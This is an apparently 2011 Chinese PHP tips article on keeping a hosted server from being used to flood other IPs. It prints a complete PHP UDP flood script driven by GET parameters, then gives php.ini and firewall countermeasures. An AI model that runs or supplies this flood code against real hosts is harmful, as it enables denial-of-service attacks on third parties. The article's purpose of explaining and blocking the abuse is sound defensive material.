防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
第七节 类的静态成员 [7]
Oct 09 PHP
解决了Ajax、MySQL 和 Zend Framework 的乱码问题
Mar 03 PHP
PHP Zip压缩 在线对文件进行压缩的函数
May 26 PHP
优化php效率,提高php性能的一些方法
Mar 24 PHP
PHP SEO优化之URL优化方法
Apr 21 PHP
PHP header()函数使用详细(301、404等错误设置)
Apr 17 PHP
ThinkPHP3.1新特性之多层MVC的支持
Jun 19 PHP
php使用session二维数组实例
Nov 06 PHP
php+mysqli数据库连接的两种方式
Jan 28 PHP
Zend Framework缓存Cache用法简单实例
Mar 19 PHP
PHP实现Session入库/存入redis的方法
May 04 PHP
windows 2008r2+php5.6.28环境搭建详细过程
Jun 18 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
教你如何快捷的使用cmd访问mysql小技巧
2014/05/26 PHP
让codeigniter与swfupload整合的最佳解决方案
2014/06/12 PHP
给ECShop添加最新评论
2015/01/07 PHP
十大使用PHP框架的理由
2015/09/26 PHP
PHP+Mysql+jQuery查询和列表框选择操作实例讲解
2015/10/22 PHP
javascript中动态加载js文件多种解决办法总结
2013/11/15 Javascript
快速解决jquery之get缓存问题的最简单方法介绍
2013/12/19 Javascript
textarea 控制输入字符字节数(示例代码)
2013/12/27 Javascript
javascript创建createXmlHttpRequest对象示例代码
2014/02/10 Javascript
兼容最新firefox、chrome和IE的javascript图片预览实现代码
2014/08/08 Javascript
Node.js中调用mysql存储过程示例
2014/12/20 Javascript
JS实现网页表格自动变大缩小的方法
2015/03/09 Javascript
AngularJS表达式讲解及示例代码
2016/08/16 Javascript
微信小程序 chooseImage选择图片或者拍照
2017/04/07 Javascript
JavaScript实现换肤功能
2017/09/15 Javascript
vue 点击按钮增加一行的方法
2018/09/07 Javascript
node Buffer缓存区常见操作示例
2019/05/04 Javascript
vue自定义表单生成器form-create使用详解
2019/07/19 Javascript
解决Vue 移动端点击出现300毫秒延迟的问题
2020/07/21 Javascript
python实现批量解析邮件并下载附件
2018/06/19 Python
使用K.function()调试keras操作
2020/06/17 Python
Python读写压缩文件的方法
2020/07/30 Python
Python实现小黑屋游戏的完整实例
2021/01/06 Python
matplotlib阶梯图的实现(step())
2021/03/02 Python
详解HTML5中的Communication API基本使用方法
2016/01/29 HTML / CSS
总结html5自定义属性有哪些
2020/04/01 HTML / CSS
英国领先的电视购物零售商:Ideal World
2019/03/18 全球购物
个人简历自荐信
2013/12/05 职场文书
优秀教师的感人事迹
2014/02/04 职场文书
小学生中国梦演讲稿
2014/04/23 职场文书
国贸专业毕业求职信
2014/06/11 职场文书
人事任命通知
2015/04/20 职场文书
行政诉讼答辩状
2015/05/21 职场文书
风之谷观后感
2015/06/11 职场文书
如何使JavaScript休眠或等待
2021/04/27 Javascript
关于pytest结合csv模块实现csv格式的数据驱动问题
2022/05/30 Python